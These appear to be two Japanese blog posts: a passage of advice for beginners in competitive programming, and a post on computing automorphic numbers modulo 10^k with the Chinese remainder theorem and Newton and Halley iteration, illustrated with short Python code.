数学特有の言い回し(「任意の〜に対して、〜」「〜が存在して、〜」「特に、〜」「高々」など)もつまずきがちなポイントな気がします。見慣れない言い回しが出てきたときは日常の言い回しとして無理やり解釈しようとせず、「何々 数学 言い回し」などで調べるとよいかもしれません。

考察のやり方

一般論

「制約を見て想定解の計算量を予想する」「予想した計算量になりそうなアルゴリズムを予想する」「そのアルゴリズムに当てはめられるように考える」といったことをしている人がそれなりにいるように思います。 これは考察と呼ぶには相応しくなく、「メタ読み」や「パターンマッチング」と呼ばれる邪道テクニックに近い気がします。「C 問題で $N\le 10^5$ で $998244353$ で割ったあまりだから DP だ」「クエリ問題で $N\le 10^5$ だからセグ木だ」なども同様です。

まずは問題文をきちんと読んで問題設定を理解しましょう。 問題設定と言っているのは、「クエリを処理させる問題です」「通り数を求めさせる問題です」とかいったざっくりとしたジャンルの話ではなく、具体的にどういう対象を扱っているのか・どういう操作を考えているのかとか、そうした詳細な部分を含めた話です。

note: 慣れてきたらここを済ませた段階で実装に入れるようになるかもしれません*1が、慣れる前の人がそうしたやり方だけ真似しようとするべきではないと思うので、丁寧にやりましょう。

次に(計算量を改善させることはまだ意識せず、問題文で指示された通りに)入力例を紙とペン*2で実際に試し、出力例通りのものが得られることを確認しましょう。 そうしたら、今さっき手で行った方法をそのまま実装した場合の計算量がどうなるかを考えてみましょう。 このとき、たとえば列を扱おうとしているならどういうクラスを使うかも意識するとよいでしょう。

そうして計算量が求められたら制約と実行時間制限・メモリ制限を見て、大丈夫そうなら実装に取りかかります。 「自分が思いついたままの愚直な方法だと通らないだろう」と決めつけようとせず、計算量の見積もりをしましょう。 「$N \le 10^6$ なら全探索は無理だろう」のように思い込む人もいますが、たとえば(そういう問題設定で)解の候補が $O(N)$ 個しかなく、それぞれ $O(1)$ 時間で列挙できるような状況では $N\le 10^6$ でも全探索ができそうですね。

さて、大丈夫じゃなさそうなら、効率の悪そうな部分を探して高速化を図ります。自分の手を動かして具体例を試すことで「ここの計算だるいな」「これさっきも計算したよな」ということに気づきやすくなります*3

あるいは、問題の言い換えが必要になることもあります。そうした際にはきちんと証明をするのが重要です。「たぶんこういうことが成り立つ気がする」と祈るのはよくないです。あやふやなまま実装に進むことで、誤りが考察にあるのか実装にあるのかが曖昧になりどんどん沼にハマっていきます。 証明のやり方を知らないのであれば、証明のやり方を調べて身につけるのが第一歩かもしれません。 いきなり難しい問題に対して証明を考えようとするのではなく、過去に「直感的に明らかだろう」と判断したような問題を証明の練習問題として使うのがいい気がしています。

言い換えの着想を得るために実験をしたくなった場合は、そのためのコードを書くのも悪くはないでしょう。ただし、予想を立てた後にきちんと証明をするのも忘れないようにしましょう。

コーナーケースと呼ばれるものについても適切に対処しましょう。闇雲に「ある値が $0$ のとき」「長さが $1$ のとき」「すべての値が等しいとき」のような「あるあるコーナーケース」を試すのではなく、自分の行いたい操作を行うための事前条件を整理することで確認するべきです。 また、コーナーケースは実装の段階になってから気をつける事項ではなく、考察の段階で考慮しておくべきことであるというのを念頭におきましょう。

添字を 0-indexed にするのか 1-indexed にするのかといった細部についても、実装の段階になってから考えるのではなく考察の段階で済ませておきましょう。 問題文で 1-indexed で与えられたものを実装時は 0-indexed にしたいと思っているなら、考察の段階でも 0-indexed にした状態で整理するべきです。 いわゆる添字ガチャ(サンプルが合うまで添字をいじって祈る)もやめましょう。

お気に入りの記事である On "is this greedy or DP", forcing and rubber bands by -is-this-fft- を紹介しておきます。 「これは貪欲法で解けるか? や、解けないから DP だな」といった態度は適切ではないということや、その他考察に関するスタンスの話を(やや難しめの)例題を通して解説しておられます。

自分の中でアルゴリズム(というか、名前のついた「何々法」で解くという方針)を決めつけて当てはめるというのではなく、その問題と向き合うところが第一歩だと思うのですが、やはりそこが初心者には難しいのかもしれません?

高速化に関して

まずは愚直な解法はわかっている(定義通りに計算することはできる・なにを計算するべきかはわかっている)段階に立てているか確認しましょう。 そうできていないうちから高速化のことを考えても「よくわからないものが高速に計算できた」になってしまいます。

たとえば、解候補を全列挙して確認する解法を高速化したいのであれば、(全列挙している限りは解候補の個数のオーダーの計算量は最低でもかかるので)全列挙をしない方針を考えることが多いでしょう。 このとき、大きな二択として「すべての解候補を考慮するが、まとめられるものはまとめて考えることで、すべてを陽に列挙せずに済ませる」なのか「特定の条件を満たす解候補のみを考慮することで、列挙する個数を減らす」なのかがあります。たとえば DP は前者*4、貪欲法は後者に該当します。

note: そういった事情から、「全探索ではなく DP をする」のような表現はあまり適切ではない気がしています。あくまでもすべてを暗に探索はしているというスタンスです。

前者の高速化においては「適切なまとめ方をできているか?」が考慮すべきことで、後者では「そういう条件を満たさない解を見捨てて問題ないか?」が考慮すべきことです。 自分が行おうとしている高速化がどちらなのかを意識するとよい気がします。 特に貪欲法については典型的な証明のパターンがあるので、それを身につけておくだけでも変な解法の誘惑に負けることは減るのかなと思います。

こうした高速化は「区間和を求めるのに累積和を用いることで高速化する」「値の検索に平衡二分木を使うことで高速化する」といった単純なものよりも難しいと思います。ある程度きちんとした証明が必要になるためです。

コードの書き方

考察が終わった後は、問題のことで悩まずに実装を終えられるのが好ましいでしょう。 たとえば標準ライブラリの関数の引数の順番のような、問題設定とは関係ない部分で手が止まるのはいいと思います*5。 一方で、「そういえばこういうケースはどう対処しようかな」といったことで悩むのであれば、考察に戻るべきだと思っています。

さて、よく「競プロでは可読性より実装速度重視」といった思い込みがある人を見ます。 実装速度が重要ではありつつ、可読性の低いコードによってバグを生んだりデバッグ時間が長引いたりするなら本末転倒です。 可読性を気にすることで余分に 4 分 59 秒かかったとしても、1 ペナ喰らうよりは安いです。

特に ABC の C 程度までであれば複数の関数に切り分けるほどの実装量になることが稀という事情があるだけで、「競プロにおいてはなにがなんでも main にすべてを入れるのが好ましい」ということではありません。 一つのファイルで $T$ 個のテストケースが与えられるタイプの問題(マルチケースなどと呼ばれがち?)が ABC でも最近は多く見るようになってきましたが、こういう形式のときは一つのケースを解く用の関数を用意した方が見通しがいいと個人的には思っています。

そのくらいの実装量においては n a i 程度の簡素な変数名の方がむしろ可読性が高い気がします。 number_of_items array_of_inputs index_of_items_0_indexed などの長い変数名でうれしくなることがあまりなさそうです。 むしろ、紙の上での考察をするときに(数式として)$n$, $a$, $i$ などの記号を使うことが多く、それをそのまま流用できる方が読みやすいという感覚がある気がします。 もちろん、長い名前が必要なら(エディタの補完機能がある前提で)使えばいいと思っています。

また、保守性という観点においては、期間や読む人数を考えるといい気がします。 多くの場合、「AC した後も数ヶ月・数年に渡ってチームで保守する必要がある」というわけではなく「AC するまでの数十分・数時間、自分がデバッグできる必要がある」くらいだと思っていて、それを念頭においた書き方をするのがよいと思っています。 そうした前提の違いがあるので、「必ずしも業務における可読性・保守性の高さと一致するわけではない」という見方をするべきで、「競プロにおいては可読性・保守性は低くしてよい」というのは語弊がある気がしています。

テストについて

(自分が使っている言語であるところの)Rust では #[test] と書くことで簡単にテストコードが書けるので、実装に不安があるときはちょこっとテストを書くようにしています。 また、考察の過程で「こういうケースは気をつけておいた方がいいかも」と思ったら予めサンプルと同じディレクトリに追加するようにしています。

サンプルのテストは oj を用いて自動化しています。 「全部のテストを回すのが億劫だな」という状況を作らないのが重要だと思っています。

練習について

最近の人々も「精進」という呼び方をするのかはわかりませんが、コンテスト外でも過去問を解いたり、コンテストで解けなかった問題・最後に解けた問題の次の問題(たとえば C まで解けたときは D ということ)を解いたりする時間を設けないとどうしてもつらい気がします。

闇雲に時間を費やせば上達できるというわけではないと思っていますが、かけられる時間が少ないのであればどうしてもできることは限られてしまいます。 人によるところだとは思いますが、コンテストに出て「毎回参加してはいるが解けなさを実感するばかりでつらい」となるくらいなら、毎週 100 分の枠を用意して(適宜解説を読みつつ)過去問を解くのに専念する方が有益そうな気もします。

レートを上げることを目標とするならやはりコンテスト形式の練習が重要な気はしますが、始めたての人であればそうした速度重視の練習よりもまずは「時間をかければできる」の状態を作ることが大事な気がします。 コンテスト中に焦りながら(前述した)メタ読みなどをする経験を積むくらいなら、落ちついて考察する方が得られるものが多い気がします。

数学について

プログラミングの勉強をしたいと思っていたはずなのに数学をやらされていて誠に遺憾、という人もそれなりにいるのかなと予想しています。 プログラムの正当性や計算量の見積もり、あるいはそもそも計算したい対象自体が数学と関係が深いものになりがちなので、数学に触れずにいられるのはほんの一部分になってしまいそうな気がします。

AOJ にあるような「実装がんばります」系の問題が救いになる人もいるのかもしれません? AtCoder が “TOO MATHEMATICS-ORIENTED!!!!”*6 な気がするので、別のジャッジの問題も見てみるといいかも。

onlinejudge.u-aizu.ac.jp

String Parsing などで検索すると、AtCoder ではあまり見ない類のジャンルを楽しめます*7

競技プログラミングという呼称が misleading ですが、特に AtCoder は「競技数学・パソコン部門」のような側面が強い気がしており、基本的に「数学はあまり知らないがプログラミングは長くやっている」より「数学を長くやっているがコードは書いたことがない」の方にアドバンテージがある気がします。 よく「自分より後に始めた数学得意勢がどんどんレートを伸ばしているのを見てつらくなる」という人も見ますが、むしろそれが普通で、自分のアドバンテージを勘違いして過度に落ち込んでいるんじゃないかなという気がします。

コンテスト外の心構えなどについて

コンテスト後に Twitter でもしばしば「Union-find(など自分の知っているアルゴリズム・データ構造)で解けたのか〜」「貪欲法だったのか〜、だったら自分にも解けただろうな」と言っている人を見かけますが、「簡単でない考察の末に、何々法を使うと解ける問題に帰着される」と「何々法を知ってさえいれば解ける」の間には大きい差があります*8

データ構造(やアルゴリズム)のお勉強に関しては、大きく二つの段階に分かれます。

  • そのデータ構造を学ぶ
    • どのようにデータを管理するか・不変条件はなにか
    • どういうクエリをどういう計算量で処理できるか
    • (可能なら自分で実装してみる)
  • そのデータ構造を応用して解ける問題を知る
    • そのデータ構造が処理できるクエリの形式に問題を言い換える典型テクを身につける

たとえば、セグ木について前者の段階の人でも「値の更新と区間 XOR クエリを処理してほしい」と言われたら解けるでしょうが、「この配列の転倒数を求めてほしい」に関してはやや厳しいところでしょう。 あるいは、「ソート済み配列から値を二分探索で探す」という概念を知った段階の人に、「$N^2$ マス計算で $K$ 番目に小さい値を求めてほしい (ARC 037 C)」と言っても厳しいでしょう。

Things I don't know by Um_nik という記事もあります。 この主張に賛同するわけでもないですが、多くのデータ構造について前者の段階の勉強をしたとしても、後者の段階の知識が身につくわけではないということは覚えておいた方がよさそうです。

他にも、コンテスト後の Twitter などで「何々ということに気づいたら一瞬だった」というのを見て「次回はまず何々かどうかを疑ってみることにしよう」という短絡的な学習をしてしまう人もいるのかもしれません? 考察に関しての節でも触れましたが、問題設定を理解した上でそこに辿り着くのが重要なのであって、いきなり闇雲に試してみようとするのはナンセンスです。 それでは(仮に正しいものだったとしても)正しいことに確信が持てず、意味がないはずです。 そこに至るまでの思考過程をなぞってみるのは有用だと思います。たまたま見つけた記事を紹介します。

zenn.dev

あとがき

ポエム記事のポエムパートということで実質本編と変わらないかもしれません。あとがきです。

こういったあるべき論(だと思っているもの)を整理していると、えびちゃん自身が F, G を解けずに苦しんでいるときにそれらを実践しているのか?という気持ちになってきます。 他のやりたいこととの兼ね合いで ABC に対する取り組み方が真剣ではなくなってきていることが根本的にはあると思いますが、形だけ E や F まで解いていても意味がないような気がします。 むしろコンテストの時間中に F と G だけ本気で考えてみるとかの方がよっぽど有益なんじゃないでしょうかね。そうしてみようかな。

おなかがすきました。

おわり

おわりです。

*1:えびちゃんは、基本的に D 問題まではサンプルを見ることはほぼない気がします。E でもあんまり見てないかも。

*2:iPad と Apple Pencil とかでももちろんいいですが、脳内で完結させるのはおすすめしません。手を動かす癖をつけるのがいいと思っています。

*3:Knuth 先生もそうしたことを言っていた気がします。

*4:解候補を絞った上で、その解候補たちについて DP する場合もありますね。一旦ここでは深入りしません。

*5:それはそれで訓練が必要だとは思いますが、実装に入る準備は済んだと見なせるという意味です。

*6:cf. https://twitter.com/maroon_kuri/status/1195076295627100160

*7:楽しいと思うかは人によると思います。えびちゃん的には楽しんでいました。

*8:いわゆる “One chalk mark: $1 / Knowing where to put it: $49,999” 的なジョークに通ずるところがある気がします。

6259918212890625² mod 10¹⁶ みたいなやつ

下記が成り立ちます。 $$ \begin{aligned} &\phantom{{}={}} 6259918212890625^2 \\ &= 39186576032079756259918212890625 \\ &\equiv 6259918212890625 \pmod{10^{16}}. \end{aligned} $$ 今日はこういう感じのやつを求めていきます。

方法①

与えられた $k$ に対して $x^2 \equiv x \pmod{10^k}$ を満たす $0\le x\lt 10^k$ について考えます。 $10^k = 2^k\cdot 5^k$ であり、$2$ と $5$ が素数であることから $$ \begin{cases} x\equiv 0 \vee x\equiv 1 \pmod{2^k}, \\ x\equiv 0 \vee x\equiv 1 \pmod{5^k} \end{cases} $$ です。

中国剰余定理を踏まえつつ各ケースについて考えていきます。

$$ \begin{cases} x\equiv 0 \pmod{2^k}, \\ x\equiv 0 \pmod{5^k} \\ \end{cases} $$ のとき、ある $q\in\N$ が存在して $x = q\cdot 2^k+0$ と書け、$q\cdot 2^k\equiv 0\pmod{5^k}$ です。 $\gcd(2, 5) = 1$ なので $q\equiv 0\pmod{5^k}$ です。よって $q = 0$ や $x = 0$ が従います。

$$ \begin{cases} x\equiv 1 \pmod{2^k}, \\ x\equiv 1 \pmod{5^k} \\ \end{cases} $$ のとき、ある $q\in\N$ が存在して $x = q\cdot 2^k+1$ と書け、$q\cdot 2^k + 1\equiv 1\pmod{5^k}$ です。 同様にして $x = 1$ が従います。

$$ \begin{cases} x\equiv 1 \pmod{2^k}, \\ x\equiv 0 \pmod{5^k} \\ \end{cases} $$ のとき、ある $q\in\N$ が存在して $x = q\cdot 2^k+1$ と書け、$q\cdot 2^k+1\equiv 0\pmod{5^k}$ です。 $q\equiv (-1)\cdot (2^{-k}) \pmod{5^k}$ より、$x = (-2^{-k}\bmod{5^k})\cdot 2^k + 1$ となります。

$$ \begin{cases} x\equiv 0 \pmod{2^k}, \\ x\equiv 1 \pmod{5^k} \\ \end{cases} $$ のとき、同様にして $x = (-5^{-k}\bmod{2^k})\cdot 5^k + 1$ となります。

>>> (lambda k: (-pow(2, -k, 5**k) * 2**k + 1) % 10**k)(64)
9580863811000557423423230896109004106619977392256259918212890625

>>> (lambda k: (-pow(2, -k, 5**k) * 2**k + 1) % 10**k)(64)**2 % 10**64
9580863811000557423423230896109004106619977392256259918212890625

ということで、競プロ界隈でも比較的有名そうな知識(主観)で簡単に求まってしまいました。 元々は、比較的有名ではなさそう(主観)な別の方法で求めるのを記事にしようと思っていたのですが、そっかーという感じになりました。

方法②

元々考えていた方法はこちらです。

Newton 法というのがあります。大学や基本情報技術者試験などで学びがちな Newton 法は数値計算の文脈のものが多く、たとえば $\sqrt2$ の近似値を求めるようなときに使いがちな気がします。 それに限らず、一般の環においての定理があります。

環 $R$ を考えます。$R$ 係数で不定元を $y$ とする多項式全体からなる集合を $R[y]$ と書きます。 $m\in R$ かつ $\varphi\in R[y]$ とし、$g\in R$ が $\varphi(g)\equiv 0\pmod{m}$ が成り立ち、さらに $\varphi'(g)^{-1}\bmod m$ が存在するとします*1。 このとき、 $$ h = \left(g - \varphi(g)\cdot \varphi'(g)^{-1}\right) \bmod {m^2} $$ で定義すると、$\varphi(h) \equiv 0 \pmod{m^2}$ かつ $h \equiv g \pmod{m}$ が成り立ち、さらに $\varphi'(h)^{-1}\bmod m^2$ が存在します。

証明については Modern Computer Algebra[1] の Lemma 9.21 などを見ましょう。

ということで、$\varphi = y^2 - y \in \Z[y]$ で定義して $\varphi(g) \equiv 0\pmod{10^k}$ なる $g$ を求めたいということになります。 $\varphi(g) \equiv 0\pmod{10^j}$ なる $g$ が求められているとき、 $$ \begin{aligned} h &\equiv g - (g^2 - g)\cdot (2g-1)^{-1} \\ &\equiv (g\cdot(2g-1) - (g^2 - g) )\cdot (2g-1)^{-1} \\ &\equiv (2g^2-g-g^2+g)\cdot (2g-1)^{-1} \\ &\equiv g^2 \cdot (2g-1)^{-1} \pmod{10^{2j}} \end{aligned} $$ として $\varphi(h)\equiv 0\pmod{10^{2j}}$ なる $h$ が求められます。

def newton(g, m, k):
    for _ in range(k):
        m *= m
        g = g**2 * pow(2 * g - 1, -1, m) % m
    return g

$\varphi(5)\equiv 0 \pmod{10}$ は既知として、たとえば newton(5, 10, 6) を呼び出すと、g

25
625
12890625
6259918212890625
4106619977392256259918212890625
9580863811000557423423230896109004106619977392256259918212890625

といったように収束していく様子が見られます。

他にも Halley 法というのがあり、こちらは三次収束です。

def halley(g, m, k):
    for _ in range(k):
        m *= m * m
        g = g**3 * pow(3 * g**2 - 3 * g + 1, -1, m) % m
    return g
625
212890625
619977392256259918212890625
938509890062166509580863811000557423423230896109004106619977392256259918212890625

反復回数としては Halley 法の方が $\log_3(2)\approx 0.63$ 倍だけ得していますが、反復ごとの計算は Newton 法の方が単純がちなので、Newton 法の方が結局は得していそうな気がします*2

もちろん、$x^3 \equiv x \pmod{10^k}$ のような式を満たす $x$ についても(どちらの方法でも)求められます。

$$ \begin{aligned} &\phantom{{}={}} 6259918212890624^3 \\ &= 245304761004039189166825963184256259918212890624 \\ &\equiv 6259918212890624 \pmod{10^{16}}. \end{aligned} $$

おまけ

“Newton’s method Codeforces” でググったところ下記の記事が上位に出てきました。競プロ界隈で Newton 法と言えば数値計算ではなく FPS の文脈がちで、偏ってるな〜と面白くなりました。

そういえば、自分も過去になんかを書いていたらしいです。記憶から抜けていました。

rsk0315.hatenablog.com

経緯

今回は YouTube の動画に触発されたシリーズです。

www.youtube.com

他の回としては下記のようなものがあります。

rsk0315.hatenablog.com

別にわざわざ書く必要もないか?みたいな気持ちになりながらも一応書きました。

twitter.com

ところで、CRT と言えば最近は No.3396 ChRisTmas memory がアツいらしいです?

参考文献

[1]: Gathen, Joachim von zur, and Jürgen Gerhard. Modern Computer Algebra. 3rd ed. Cambridge: Cambridge University Press, 2013.

あとがき

前回の記事から間隔が空いてしまいました。いろいろなコンテンツに手を出していて、あまり記事を書こうという感じになっていませんでした。

CTF で crypto とかをしていると word size に収まらないような数が当然のように出てくるので、競プロ界隈とは違った感じがするな〜という気持ちになります。 Daily AlpacaHack などが最近の初心者向けコンテンツとしてはよさそうなのかな〜と思ったりしています。

alpacahack.com

それはそれとして、word size の高速素因数分解とかも興味はありますよね。SQUFOF のお勉強もしなきゃなと思っています。

おなかがすきました。気持ちや頭の中が無のときにあとがきを書くと短めになることがわかりました。

おわり

おわりましょう。

*1:代入 $\varphi(g)$ や形式微分 $\varphi'$ なども別途定義が必要ですが、いわゆる直感的な定義と同じなので割愛します(本当はそういうのはよくない)。やる気が出たら別途書きます。

*2:気がしますというのは気がしますということです。場合にもよると思います。特に計測はしていません。